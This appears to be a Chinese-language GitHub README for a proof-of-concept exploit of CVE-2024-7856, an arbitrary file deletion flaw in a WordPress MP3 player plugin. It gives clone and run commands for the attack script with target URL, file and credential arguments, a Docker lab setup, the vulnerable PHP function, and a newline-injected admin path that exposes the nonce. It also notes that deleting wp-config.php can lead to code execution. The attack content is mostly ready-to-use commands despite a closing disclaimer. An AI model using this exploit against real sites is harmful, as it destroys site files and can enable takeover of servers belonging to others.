
Proof-of-Concept for CVE-2024-7856
★ CVE-2024-7856 任意文件删除 PoC ★
CVE-2024-7856 : MP3 Audio Player – Music Player, Podcast Player & Radio by Sonaar <= 5.7.0.1 – 授权缺失导致已认证(订阅者及以上)任意文件删除
研究员: Arkadiusz Hydzik
描述: WordPress 插件 MP3 Audio Player – Music Player, Podcast Player & Radio by Sonaar 在 5.7.0.1 及之前的所有版本中,由于 removeTempFiles() 函数缺少权限检查以及 file 参数路径验证不足,存在未授权任意文件删除漏洞。这使得经过身份验证的攻击者(订阅者级别及以上)能够删除任意文件,当删除 wp-config.php 时可能导致远程代码执行。
git clone https://github.com/l8BL/CVE-2024-7856.git
cd CVE-2024-7856
pip install -r requirements.txt
# 任意文件删除
python3 CVE-2024-7856.py -u <要攻击的URL> -f <要删除的文件>
python3 CVE-2024-7856.py -u <要攻击的URL> -f <要删除的文件> -i <登录用户ID> -p <登录用户密码>
python3 CVE-2024-7856.py -u http://example.com/ -f /tmp/test
python3 CVE-2024-7856.py -u http://example.com/ -f /tmp/test -i EQSTtester -p q1w2e3r4t5y!
CVE-2024-7856.py


services:
db:
image: mysql:8.0.27
command: '--default-authentication-plugin=mysql_native_password'
restart: always
environment:
- MYSQL_ROOT_PASSWORD=somewordpress
- MYSQL_DATABASE=wordpress
- MYSQL_USER=wordpress
- MYSQL_PASSWORD=wordpress
expose:
- 3306
- 33060
wordpress:
image: wordpress:6.3.2
ports:
- 80:80
restart: always
environment:
- WORDPRESS_DB_HOST=db
- WORDPRESS_DB_USER=wordpress
- WORDPRESS_DB_PASSWORD=wordpress
- WORDPRESS_DB_NAME=wordpress
volumes:
db_data:
https://downloads.wordpress.org/plugin/mp3-music-player-by-sonaar.5.7.zip
docker cp mp3-music-player-by-sonaar docker-wordpress-1:/var/www/html/wp-content/plugins
public function removeTempFiles(){
// will unlink the temporary peak file and generate another one automatically.
check_ajax_referer('sonaar_music_admin_ajax_nonce', 'nonce');
$is_temp = filter_input(INPUT_POST, 'is_temp', FILTER_VALIDATE_BOOLEAN);
$file = filter_input(INPUT_POST, 'file', FILTER_SANITIZE_STRING);
if ($is_temp && $file) {
$upload_dir = wp_get_upload_dir();
$peaks_dir = $this->get_peak_dir();
$file_path_temp = str_replace($upload_dir['baseurl'] . $this->get_peak_dir(true), $peaks_dir, $file);
if (strpos($file_path_temp, $peaks_dir) === 0 && file_exists($file_path_temp)) {
wp_delete_file($file_path_temp);
}
}
}
if (strpos($hook, SR_PLAYLIST_CPT . '_page_srmp3_settings_') === 0) {
wp_enqueue_script( 'cmb2_image_select_metafield-js', plugin_dir_url( __FILE__ ) . 'library/cmb2-image-select-field-type/image_select_metafield.js' , '', '1.0.0', true ); // Used for plugin settings page only. it does not work on group repeater fields
wp_enqueue_script( 'sonaar-music', plugin_dir_url( __DIR__ ) . 'public/js/sonaar-music-public.js', array( 'jquery' ), $this->version, true ); // used for peak generation
wp_localize_script('sonaar-admin', 'sonaar_music', array(
'plugin_version_free'=> SRMP3_VERSION,
'plugin_version_pro'=> ( defined( 'SRMP3PRO_VERSION' ) ? SRMP3PRO_VERSION : 'Not Installed' ),
'ajax' => array(
'ajax_url' => admin_url( 'admin-ajax.php' ),
'ajax_nonce' => wp_create_nonce( 'sonaar_music_admin_ajax_nonce' ),
'ajax_nonce_peaks' => wp_create_nonce( 'sonaar_music_ajax_peaks_nonce' ),
),
));
}
路径伪造 : /wp-admin/index.php/%0a/wp-admin/sr_playlist_page_srmp3_settings_
拥有授权用户身份,您可以利用此漏洞进行任意文件删除。
此仓库并非旨在作为 CVE-2024-7856 的任意文件删除利用工具。本项目的目的是帮助人们了解此漏洞,并可能用于测试他们自己的应用程序。